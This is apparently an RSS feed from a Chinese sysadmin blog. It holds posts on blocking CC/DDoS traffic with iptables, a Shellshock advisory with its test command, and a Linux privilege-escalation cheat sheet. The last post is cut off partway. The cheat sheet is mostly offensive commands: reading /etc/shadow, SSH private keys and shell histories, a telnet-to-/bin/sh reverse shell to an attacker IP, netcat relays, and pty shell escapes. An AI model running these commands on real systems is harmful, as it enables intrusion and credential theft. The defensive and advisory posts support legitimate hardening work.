<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Ops运维 | Mr`kang Blog｜小豆子]]></title> 
<link>https://www.cnmysql.com/index.php</link> 
<description><![CDATA[关注服务器运维技术、DB优化、Docker虚拟化、自动化运维、工作积累]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Ops运维 | Mr`kang Blog｜小豆子]]></copyright>
<item>
<link>https://www.cnmysql.com/post/140/</link>
<title><![CDATA[网站防cc攻击iptables方法]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[黑客攻防]]></category>
<pubDate>Thu, 20 Aug 2015 01:59:32 +0000</pubDate> 
<guid>https://www.cnmysql.com/post/140/</guid> 
<description>
<![CDATA[ 
	<strong>CC攻击原理</strong><br/>CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽，一直到宕机崩溃。CC主要是用来攻击页面的，每个人都有这样的体验：当一个网页访问的人数特别多的时候，打开网页就慢了，CC就是模拟多个用户（多少线程就是多少用户）不停地进行访问那些需要大量数据操作（就是需要大量CPU时间）的页面，造成服务器资源的浪费，CPU长时间处于100%，永远都有处理不完的连接直至就网络拥塞，正常的访问被中止。<br/><br/><br/>1、第一种<br/>#!/bin/sh<br/>IP=`tail -1000 access.log&#124; awk '&#123;print $1&#125;' &#124; sort &#124; uniq -c &#124; sort -rn&#124;awk '$1 > 100 &#123;print $2&#125;'`<br/>for i in $IP<br/>do<br/>iptables -I INPUT -p tcp --dport 80 -s $i -j DROP<br/>done<br/><br/>2、第二种<br/>#!/bin/sh<br/>status=`netstat -na&#124;awk '$5 ~ /[0-9]+:[0-9]+/ &#123;print $5&#125;' &#124;awk -F ":" -- '&#123;print $1&#125;' &#124;sort -n&#124;uniq -c &#124;sort -n&#124;tail -n 1`<br/>NUM=`echo $status&#124;awk '&#123;print $1&#125;'`<br/>IP=`echo $status&#124;awk '&#123;print $2&#125;'`<br/>result=`echo "$NUM > 100" &#124; bc`<br/>if [ $result = 1 ]<br/>then<br/>echo IP:$IP is over $NUM, BAN IT! >> ip_deny.txt<br/>/sbin/iptables -I INPUT -s $IP -j DROP<br/>fi<br/>Tags - <a href="https://www.cnmysql.com/tags/cc%25E6%2594%25BB%25E5%2587%25BB/" rel="tag">cc攻击</a> , <a href="https://www.cnmysql.com/tags/iptables/" rel="tag">iptables</a>
]]>
</description>
</item><item>
<link>https://www.cnmysql.com/post/139/</link>
<title><![CDATA[DDOS防护抵御方法]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[黑客攻防]]></category>
<pubDate>Thu, 20 Aug 2015 01:55:34 +0000</pubDate> 
<guid>https://www.cnmysql.com/post/139/</guid> 
<description>
<![CDATA[ 
	在安全领域，DDoS（分布式拒绝服务攻击）简单粗暴，是常见攻击方法。而网站型应用，由于有公开的域名和IP，并使用特定的通信协议（TCP），很容易被发起DDoS攻击。友好速搭上线9个月以来，遭受DDoS攻击超过20次，有些攻击流量规模超过100Gbps。<br/><br/>用来区分DDoS攻击类型的名词很多，比如SYN Flood、UDP Flood、ICMP Flood、CC攻击等。从防护角度看，主要可以分为两种类型：带宽消耗型和资源消耗型。<br/><strong>带宽消耗型攻击</strong><br/>带宽消耗型攻击，目的是封堵系统的网络出入口，大都是基于简单网络协议，比如UDP或ICMP，向指定IP发送大量数据包。这类攻击，只能通过增加网络带宽来防御，如果流量特别大，超过了机房网络的承受范围，那只能使用第三方的流量清洗服务，例如安全宝、腾讯大禹系统等。<br/><a href="https://www.cnmysql.com/attachment.php?fid=45" target="_blank"><img src="https://www.cnmysql.com/attachment.php?fid=45" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>这类清洗服务，主要提供两类帮助：<br/><br/>域名通过CNAME解析，隐藏应用真实IP<br/>域名解析的IP结果，是防护IP地址，攻击的流量只先到防护的机房，应用的真实IP，只对防护服务商可见。<br/><br/>流量清洗，筛选健康流量发回源站<br/>服务商会通过技术手段，将攻击流量拦截，并筛选出健康流量发给应用。<br/><strong>资源消耗型攻击</strong><br/>资源消耗型攻击，主要目的是耗尽系统资源，比如SYN Flood，会导致主机建立大量TCP连接，耗尽系统句柄，CC攻击发起大量正常请求，超出业务应用的处理上限。这类攻击的流量大小，与攻击者使用的肉鸡数量有关。如果流量特别大，也需要使用上面提到的流量清洗服务。如果流量规模不大，可以通过简单的脚本，识别出攻击代理的IP，并进行屏蔽来防御。<br/><br/>网站使用的HTTP或SSL协议，都是基于传输层TCP协议的应用，TCP协议中的状态变化如下：<br/><a href="https://www.cnmysql.com/attachment.php?fid=46" target="_blank"><img src="https://www.cnmysql.com/attachment.php?fid=46" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>可以通过识别不同状态的TCP连接数量，来判断是否攻击IP。<br/><br/>例如，SYN Flood攻击，就是通过建立处于SYN状态的TCP连接，消耗服务器的句柄，遭受这种攻击时，服务器可以查看到，很多TCP连接处于syn-recv状态。<br/><br/>而CC攻击，通常都是向网站发起大量请求，与服务器建立大量TCP连接，状态大都处于established,time-wait,close-wait。<br/><br/>通过 Linux 系统中的ss命令，可以查看各种状态的TCP连接：<br/>ss -ntu state syn-recv state established state time-wait<br/>通过查看IP的TCP连接状态和数量，就能判断出这个IP是否用于DDoS攻击。<br/><br/>基于这个思路，针对资源消耗型攻击，我们开发了一个简单的脚本工具：AntiDDoS。在服务器上部署启动后，会定时查看TCP连接，超过指定连接数量的IP，会被加入iptables屏蔽一段时间，并发邮件通知系统管理员。<br/><br/>下载链接：<br/><a href="https://github.com/yeezon/AntiDDoS" target="_blank">https://github.com/yeezon/AntiDDoS</a><br/><br/>iptables简单防护<br/>iptables -A FORWARD -p tcp --syn -m limit --limit 1/s --limit-burst 5 -j ACCEPT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#每秒中最多允许5个新连接<br/>iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT&nbsp;&nbsp;#防止各种端口扫描<br/>iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT&nbsp;&nbsp;&nbsp;&nbsp; #Ping洪水攻击（Ping of Death<br/><br/><br/>屏蔽一个IP<br/># iptables -I INPUT -s 192.168.0.1 -j DROP<br/><br/>怎么防止别人ping我？？<br/># iptables -A INPUT -p icmp -j DROP<br/><br/>防止同步包洪水（Sync Flood）<br/># iptables -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT<br/><br/>防止各种端口扫描<br/># iptables -A FORWARD -p tcp –tcp-flags SYN,ACK,FIN,RST RST -m limit –limit 1/s -j ACCEPT<br/><br/>Ping洪水攻击（Ping of Death）<br/>#iptables -A FORWARD -p icmp –icmp-type echo-request -m limit –limit 1/s -j ACCEPT<br/><br/># NMAP FIN/URG/PSH<br/># iptables -A INPUT -i eth0 -p tcp –tcp-flags ALL FIN,URG,PSH -j DROP<br/><br/><br/><br/>Tags - <a href="https://www.cnmysql.com/tags/ddosiptables/" rel="tag">ddosiptables</a> , <a href="https://www.cnmysql.com/tags/ddos%25E5%258E%259F%25E7%2590%2586/" rel="tag">ddos原理</a>
]]>
</description>
</item><item>
<link>https://www.cnmysql.com/post/133/</link>
<title><![CDATA[Bash软件安全漏洞检测及解决方案]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[黑客攻防]]></category>
<pubDate>Fri, 26 Sep 2014 01:14:43 +0000</pubDate> 
<guid>https://www.cnmysql.com/post/133/</guid> 
<description>
<![CDATA[ 
	<span style="font-family: 宋体;"><span style="font-size: 12px;"><br/>9月25日消息，继“心脏流血”漏洞之后，安全研究专家又发现了一个危险级别为“毁灭级”（catastrophic）的漏洞，开源软件公司Red Hat在一份报告中称，在Linux系统中广泛使用的Bash软件漏洞有可能让黑客利用攻击一切连入互联网的设备。<br/>Bash是一款在很多Unix电脑中用于控制命令提示符的软件，黑客可以借助Bash中的漏洞完全控制目标系统。<br/>美国国土安全部下属的美国电脑紧急响应团队(以下简称“US-CERT”)发出警告称，这一漏洞可能影响基于Unix的操作系统，包括Linux和Mac OS X<br/><br/>官方bug地址：<a href="http://lists.centos.org/pipermail/centos/2014-September/146099.html" target="_blank">http://lists.centos.org/pipermail/centos/2014-September/146099.html</a><br/><br/>1、此漏洞可以绕过ForceCommand在sshd中的配置，从而执行任意命令。<br/>2、如果CGI脚本用Bash或subshell编写，则使用mod_cgi或mod_cgid的Apache服务器会受到影响。<br/>3、DHCP客户端调用shell脚本来配置系统，可能存在允许任意命令执行，尤其作为根命令的形式，在DHCP客户端的机器上运行。<br/>4、各种daemon和SUID/privileged的程序都可能执行shell脚本，通过用户设置或影响环境变数值，允许任意命令运行<br/><br/>漏洞详情页面：<a href="http://seclists.org/oss-sec/2014/q3/650" target="_blank">http://seclists.org/oss-sec/2014/q3/650</a><br/>漏洞级别:非常严重<br/>redhat官方提供漏洞详情<br/>A flaw was found in the way Bash evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.<br/><br/>redhat官方提供检测方式<br/><br/>运行命令：&nbsp;&nbsp;<br/>&nbsp;&nbsp;$ env x='() &#123; :;&#125;; echo vulnerable'&nbsp;&nbsp;bash -c "echo this is a test"<br/> <br/>如果返回以下内容：则请尽快升级。<br/> vulnerable&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>this is a test<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>目前官方已经提供了升级包请运行：yum update -y bash 进行升级处理！<br/><a href="https://www.cnmysql.com/attachment.php?fid=39" target="_blank"><img src="https://www.cnmysql.com/attachment.php?fid=39" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>RedHat, CentOS or Fedora bash版本将升级到bash-4.1.2-15.el6_5.1.x86_64<br/><br/>升级过程<br/><a href="https://www.cnmysql.com/attachment.php?fid=40" target="_blank"><img src="https://www.cnmysql.com/attachment.php?fid=40" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><a href="https://www.cnmysql.com/attachment.php?fid=41" target="_blank"><img src="https://www.cnmysql.com/attachment.php?fid=41" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>RPM包下载：<br/><a href="http://www.cnmysql.com/download/bash-3.2-33.el5.1.x86_64.rpm">点击这里下载文件</a><br/>命令<br/>rpm -uvh bash-3.2-33.el5.1.x86_64.rpm<br/><br/>Bash漏洞的攻击原理和检测方法等<br/><br/>Bash漏洞的攻击原理？<br/>据 Linuxidc网站介绍，GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码，在shell被调用后会被立即执行。 <br/>这是属于远程任意代码执行的安全漏洞，所以可以完全控制电脑。 <br/>漏洞存在条件：<br/>据金山毒霸论坛的一名工作人员称，任何已知程序，只要满足以下两个条件就可以被用来通过Bash漏洞导致任意命令执行： <br/>1、程序在某一时刻使用Bash作为脚本解释器处理环境变量赋值； <br/>2、环境变量赋值字符串的提交取决于用户输入。 <br/>如何验证漏洞<br/>那如何验证是否存在漏洞？可以使用如下命令来检查系统是否存在此漏洞： <br/>env x='() &#123; :;&#125;; echo vulnerable' bash -c "echo this is a test" <br/>影响范围：<br/>GNU Bash≤4.3，此漏洞可能会影响到使用ForceCommand功能的OpenSSH sshd、使用mod_cgi或mod_cgid的Apache服务器、DHCP客户端、其他使用Bash作为解释器的应用等。 <br/>而 另一个网站更详细的报道介绍，这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序， <br/>包括:<br/>在sshd配置中使用了ForceCommand用以限制远程用户执行命令，这个漏洞可以 绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况，OpenSSH通常用法没有问题。<br/>Apache服务器使用mod_cgi或者mod_cgid，如果CGI脚本在BASH或者运行在子 SHELL里都会受影响。子Shell中使用C的system/popen，Python中使用os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用 open/system的情况都会受此漏洞影响。<br/>PHP脚本执行在mod_php不会受影响。<br/>DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被 此漏洞利用。<br/>守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。<br/>任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不 导出的情况下不会受影响。<br/><br/></span><br/></span>
]]>
</description>
</item><item>
<link>https://www.cnmysql.com/post/119/</link>
<title><![CDATA[ iptables 屏蔽IP]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[黑客攻防]]></category>
<pubDate>Mon, 15 Sep 2014 06:50:22 +0000</pubDate> 
<guid>https://www.cnmysql.com/post/119/</guid> 
<description>
<![CDATA[ 
	<span style="font-family: 宋体;"><span style="font-size: 12px;"><br/> IPdeny 下载以国家代码编制好的 IP 地址列表，比如下载 cn.zone：<br/>有了国家的所有 IP 地址，要想屏蔽这些 IP 就很容易了，直接写个脚本逐行读取 cn.zone 文件并加入到 iptables 中：<br/><div class="code"><br/>#!/bin/bash<br/># Block traffic from a specific country<br/># written by vpsee.com<br/><br/>COUNTRY=&quot;cn&quot;<br/>IPTABLES=/sbin/iptables<br/>EGREP=/bin/egrep<br/><br/>if &#91; &quot;$(id -u)&quot; != &quot;0&quot; &#93;; then<br/>&nbsp;&nbsp; echo &quot;you must be root&quot; 1&gt;&amp;2<br/>&nbsp;&nbsp; exit 1<br/>fi<br/><br/>resetrules() &#123;<br/>$IPTABLES -F<br/>$IPTABLES -t nat -F<br/>$IPTABLES -t mangle -F<br/>$IPTABLES -X<br/>&#125;<br/><br/>resetrules<br/><br/>for c in $COUNTRY<br/>do<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;country_file=$c.zone<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IPS=$($EGREP -v &quot;^#&#124;^$&quot; $country_file)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ip in $IPS<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &quot;blocking $ip&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $IPTABLES -A INPUT -s $ip -j DROP<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;done<br/>done<br/><br/>exit 0<br/></div><br/><br/>以上脚本可以延伸成防ddos攻击！<br/><br/></span><br/></span><br/>Tags - <a href="https://www.cnmysql.com/tags/ddos/" rel="tag">ddos</a> , <a href="https://www.cnmysql.com/tags/iptables/" rel="tag">iptables</a>
]]>
</description>
</item><item>
<link>https://www.cnmysql.com/post/115/</link>
<title><![CDATA[Linux提权获取敏感信息方法]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[黑客攻防]]></category>
<pubDate>Fri, 12 Sep 2014 05:25:17 +0000</pubDate> 
<guid>https://www.cnmysql.com/post/115/</guid> 
<description>
<![CDATA[ 
	<span style="font-family: 宋体;"><br/><span style="font-size: 12px;"><br/>文中的每行为一条命令，文中有的命令可能在你的主机上敲不出来，因为它可能是在其他版本的linux中所使用的命令。<br/>列举关键点<br/><div class="code"><br/>（Linux）的提权是怎么一回事：<br/> 收集 – 枚举，枚举和一些更多的枚举。<br/> 过程 – 通过数据排序，分析和确定优先次序。<br/> 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。<br/> 适应 – 自定义的漏洞，所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。<br/> 尝试 – 做好准备,试验和错误。</div><br/>系统类型<br/>系统是什么版本?<br/><div class="code"><br/>cat /etc/issue<br/>cat /etc/*-release<br/>cat /etc/lsb-release<br/>cat /etc/redhat-release</div><br/>它的内核版本是什么？<br/><div class="code"><br/>cat /proc/version&nbsp;&nbsp;<br/>uname -a<br/>uname -mrs<br/>rpm -q kernel<br/>dmesg &#124; grep Linux<br/>ls /boot &#124; grep vmlinuz</div><br/>它的环境变量里有些什么？<br/><div class="code"><br/>cat /etc/profile<br/>cat /etc/bashrc<br/>cat ~/.bash_profile<br/>cat ~/.bashrc<br/>cat ~/.bash_logout<br/>env<br/>set</div><br/>是否有台打印机？<br/><div class="code">lpstat -a</div><br/>应用与服务<br/>正在运行什么服务？什么样的服务具有什么用户权限？<br/><div class="code">ps aux<br/>ps -ef<br/>top<br/>cat /etc/service</div><br/>哪些服务具有root的权限？这些服务里你看起来那些有漏洞,进行再次检查！<br/><div class="code">ps aux &#124; grep root<br/>ps -ef &#124; grep root</div><br/>安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？<br/><div class="code">ls -alh /usr/bin/<br/>ls -alh /sbin/<br/>dpkg -l<br/>rpm -qa<br/>ls -alh /var/cache/apt/archivesO<br/>ls -alh /var/cache/yum/</div><br/>Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？<br/><div class="code">cat /etc/syslog.conf<br/>cat /etc/chttp.conf<br/>cat /etc/lighttpd.conf<br/>cat /etc/cups/cupsd.conf<br/>cat /etc/inetd.conf<br/>cat /etc/apache2/apache2.conf<br/>cat /etc/my.conf<br/>cat /etc/httpd/conf/httpd.conf<br/>cat /opt/lampp/etc/httpd.conf<br/>ls -aRl /etc/ &#124; awk ‘$1 ~ /^.*r.*/</div><br/>主机上有哪些工作计划？<br/><div class="code">crontab -l<br/>ls -alh /var/spool/cron<br/>ls -al /etc/ &#124; grep cron<br/>ls -al /etc/cron*<br/>cat /etc/cron*<br/>cat /etc/at.allow<br/>cat /etc/at.deny<br/>cat /etc/cron.allow<br/>cat /etc/cron.deny<br/>cat /etc/crontab<br/>cat /etc/anacrontab<br/>cat /var/spool/cron/crontabs/root</div><br/>主机上可能有哪些纯文本用户名和密码?<br/><div class="code">grep -i user &#91;filename&#93;<br/>grep -i pass &#91;filename&#93;<br/>grep -C 5 &quot;password&quot; &#91;filename&#93;<br/>find . -name &quot;*.php&quot; -print0 &#124; xargs -0 grep -i -n &quot;var $password&quot;&nbsp;&nbsp; # Joomla</div><br/>通信与网络<br/>NIC(s)，系统有哪些？它是连接到哪一个网络？<br/><div class="code">/sbin/ifconfig -a<br/>cat /etc/network/interfaces<br/>cat /etc/sysconfig/network</div><br/>网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？<br/><div class="code">cat /etc/resolv.conf<br/>cat /etc/sysconfig/network<br/>cat /etc/networks<br/>iptables -L<br/>hostname<br/>dnsdomainname</div><br/>其他用户主机与系统的通信？<br/><div class="code">lsof -i<br/>lsof -i :80<br/>grep 80 /etc/services<br/>netstat -antup<br/>netstat -antpx<br/>netstat -tulpn<br/>chkconfig --list<br/>chkconfig --list &#124; grep 3:on<br/>last<br/>w</div><br/>缓存？IP和/或MAC地址?<br/><div class="code">arp -e<br/>route<br/>/sbin/route -nee</div><br/>数据包可能嗅探吗？可以看出什么？监听流量<br/><div class="code"># tcpdump tcp dst &#91;ip&#93; &#91;port&#93; and tcp dst &#91;ip&#93; &#91;port&#93;<br/>tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21</div><br/>你如何get一个shell？你如何与系统进行交互？<br/><div class="code"># http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/<br/>nc -lvp 4444&nbsp;&nbsp;&nbsp;&nbsp;# Attacker. 输入 (命令)<br/>nc -lvp 4445&nbsp;&nbsp;&nbsp;&nbsp;# Attacker. 输出(结果)<br/>telnet &#91;atackers ip&#93; 44444 &#124; /bin/sh &#124; &#91;local ip&#93; 44445&nbsp;&nbsp;&nbsp;&nbsp;# 在目标系统上. 使用 攻击者的IP!</div><br/>如何端口转发？（端口重定向）<br/><div class="code"># rinetd<br/># http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch<br/># fpipe<br/># FPipe.exe -l &#91;local port&#93; -r &#91;remote port&#93; -s &#91;local port&#93; &#91;local IP&#93;<br/>FPipe.exe -l 80 -r 80 -s 80 192.168.1.7<br/>#ssh<br/># ssh -&#91;L/R&#93; &#91;local port&#93;:&#91;remote ip&#93;:&#91;remote port&#93; &#91;local user&#93;@&#91;local ip&#93;<br/>ssh -L 8080:127.0.0.1:80 root@192.168.1.7&nbsp;&nbsp;&nbsp;&nbsp;# Local Port<br/>ssh -R 8080:127.0.0.1:80 root@192.168.1.7&nbsp;&nbsp;&nbsp;&nbsp;# Remote Port<br/>#mknod<br/># mknod backpipe p ; nc -l -p &#91;remote port&#93; &lt; backpipe&nbsp;&nbsp;&#124; nc &#91;local IP&#93; &#91;local port&#93; &gt;backpipe<br/>mknod backpipe p ; nc -l -p 8080 &lt; backpipe &#124; nc 10.1.1.251 80 &gt;backpipe&nbsp;&nbsp;&nbsp;&nbsp;# Port Relay<br/>mknod backpipe p ; nc -l -p 8080 0 &amp; &lt; backpipe &#124; tee -a inflow &#124; nc localhost 80 &#124; tee -a outflow 1&gt;backpipe&nbsp;&nbsp;&nbsp;&nbsp;# Proxy (Port 80 to 8080)<br/>mknod<br/>backpipe p ; nc -l -p 8080 0 &amp; &lt; backpipe &#124; tee -a inflow &#124; nc<br/>localhost 80 &#124; tee -a outflow &amp; 1&gt;backpipe&nbsp;&nbsp;&nbsp;&nbsp;# Proxy monitor (Port 80 to 8080)<br/>建立隧道可能吗？本地，远程发送命令<br/>ssh -D 127.0.0.1:9050 -N &#91;username&#93;@&#91;ip&#93;<br/>proxychains ifconfig</div><br/>秘密信息和用户<br/>你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？<br/><div class="code">id<br/>who<br/>w<br/>last<br/>cat /etc/passwd &#124; cut -d:&nbsp;&nbsp;&nbsp;&nbsp;# List of users<br/>grep -v -E &quot;^#&quot; /etc/passwd &#124; awk -F: &amp;#039;$3 == 0 &#123; print $1&#125;&#039;&nbsp;&nbsp; # List of super users<br/>awk -F: &#039;($3 == &quot;0&quot;) &#123;print&#125;&amp;#039; /etc/passwd&nbsp;&nbsp; # List of super users<br/>cat /etc/sudoers<br/>sudo -l</div><br/>可以找到什么敏感文件？<br/><div class="code">cat /etc/passwd<br/>cat /etc/group<br/>cat /etc/shadow<br/>ls -alh /var/mail/</div><br/>什么有趣的文件在home/directorie（S）里？如果有权限访问<br/><div class="code">ls -ahlR /root/<br/>ls -ahlR /home/</div><br/>是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置<br/><div class="code">cat /var/apache2/config.inc<br/>cat /var/lib/mysql/mysql/user.MYD<br/>cat /root/anaconda-ks.cfg</div><br/>用户做过什么？是否有任何密码呢？他们有没有编辑什么？<br/><div class="code">cat ~/.bash_history<br/>cat ~/.nano_history<br/>cat ~/.atftp_history<br/>cat ~/.mysql_history<br/>cat ~/.php_history</div><br/>可以找到什么样的用户信息<br/><div class="code">cat ~/.bashrc<br/>cat ~/.profile<br/>cat /var/mail/root<br/>cat /var/spool/mail/root</div><br/>private-key 信息能否被发现？<br/><div class="code">cat ~/.ssh/authorized_keys<br/>cat ~/.ssh/identity.pub<br/>cat ~/.ssh/identity<br/>cat ~/.ssh/id_rsa.pub<br/>cat ~/.ssh/id_rsa<br/>cat ~/.ssh/id_dsa.pub<br/>cat ~/.ssh/id_dsa<br/>cat /etc/ssh/ssh_config<br/>cat /etc/ssh/sshd_config<br/>cat /etc/ssh/ssh_host_dsa_key.pub<br/>cat /etc/ssh/ssh_host_dsa_key<br/>cat /etc/ssh/ssh_host_rsa_key.pub<br/>cat /etc/ssh/ssh_host_rsa_key<br/>cat /etc/ssh/ssh_host_key.pub<br/>cat /etc/ssh/ssh_host_key</div><br/>文件系统<br/>哪些用户可以写配置文件在/ etc /？能够重新配置服务？<br/><div class="code">ls -aRl /etc/ &#124; awk ‘$1 ~ /^.*w.*/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp; # Anyone<br/>ls -aRl /etc/ &#124; awk ’$1 ~ /^..w/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Owner<br/>ls -aRl /etc/ &#124; awk ‘$1 ~ /^.....w/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# Group<br/>ls -aRl /etc/ &#124; awk ’;$1 ~ /w.$/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Other<br/>find /etc/ -readable -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Anyone<br/>find /etc/ -readable -type f -maxdepth 1 2&gt;/dev/null&nbsp;&nbsp; # Anyone</div><br/>在/ var /有什么可以发现？<br/><div class="code">ls -alh /var/log<br/>ls -alh /var/mail<br/>ls -alh /var/spool<br/>ls -alh /var/spool/lpd<br/>ls -alh /var/lib/pgsql<br/>ls -alh /var/lib/mysql<br/>cat /var/lib/dhcp3/dhclient.leases</div><br/>网站上的任何隐藏配置/文件?配置文件与数据库信息？<br/><div class="code">ls -alhR /var/www/<br/>ls -alhR /srv/www/htdocs/<br/>ls -alhR /usr/local/www/apache22/data/<br/>ls -alhR /opt/lampp/htdocs/<br/>ls -alhR /var/www/html/</div><br/>有什么在日志文件里?（什么能够帮助到“本地文件包含”?)<br/><div class="code"># http://www.thegeekstuff.com/2011/08/linux-var-log-files/<br/>cat /etc/httpd/logs/access_log<br/>cat /etc/httpd/logs/access.log<br/>cat /etc/httpd/logs/error_log<br/>cat /etc/httpd/logs/error.log<br/>cat /var/log/apache2/access_log<br/>cat /var/log/apache2/access.log<br/>cat /var/log/apache2/error_log<br/>cat /var/log/apache2/error.log<br/>cat /var/log/apache/access_log<br/>cat /var/log/apache/access.log<br/>cat /var/log/auth.log<br/>cat /var/log/chttp.log<br/>cat /var/log/cups/error_log<br/>cat /var/log/dpkg.log<br/>cat /var/log/faillog<br/>cat /var/log/httpd/access_log<br/>cat /var/log/httpd/access.log<br/>cat /var/log/httpd/error_log<br/>cat /var/log/httpd/error.log<br/>cat /var/log/lastlog<br/>cat /var/log/lighttpd/access.log<br/>cat /var/log/lighttpd/error.log<br/>cat /var/log/lighttpd/lighttpd.access.log<br/>cat /var/log/lighttpd/lighttpd.error.log<br/>cat /var/log/messages<br/>cat /var/log/secure<br/>cat /var/log/syslog<br/>cat /var/log/wtmp<br/>cat /var/log/xferlog<br/>cat /var/log/yum.log<br/>cat /var/run/utmp<br/>cat /var/webmin/miniserv.log<br/>cat /var/www/logs/access_log<br/>cat /var/www/logs/access.log<br/>ls -alh /var/lib/dhcp3/<br/>ls -alh /var/log/postgresql/<br/>ls -alh /var/log/proftpd/<br/>ls -alh /var/log/samba/<br/>#<br/>auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,<br/>mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)</div><br/>如果命令限制，你可以打出哪些突破它的限制？<br/><div class="code">python -c &#039;import pty;pty.spawn(&quot;/bin/bash&quot;)&#039;<br/>echo os.system(&#039;/bin/bash&#039;)<br/>/bin/sh -i</div><br/>如何安装文件系统？<br/><div class="code">mount<br/>df -h</div><br/>是否有挂载的文件系统？<br/><div class="code">cat /etc/fstab</div><br/>什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID<br/><div class="code">find / -perm -1000 -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here<br/>find / -perm -g=s -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# SGID (chmod 2000) - run as the&nbsp;&nbsp;group, not the user who started it.<br/>find / -perm -u=s -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# SUID (chmod 4000) - run as the&nbsp;&nbsp;owner, not the user who started it.<br/>find / -perm -g=s -o -perm -u=s -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# SGID or SUID<br/>for i in `locate -r &quot;bin$&quot;`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2&gt;/dev/null; done&nbsp;&nbsp;&nbsp;&nbsp;#<br/>Looks in &amp;#039;common&amp;#039; places: /bin, /sbin, /usr/bin, /usr/sbin,<br/>/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID<br/>(Quicker search)<br/>#<br/>findstarting at root (/), 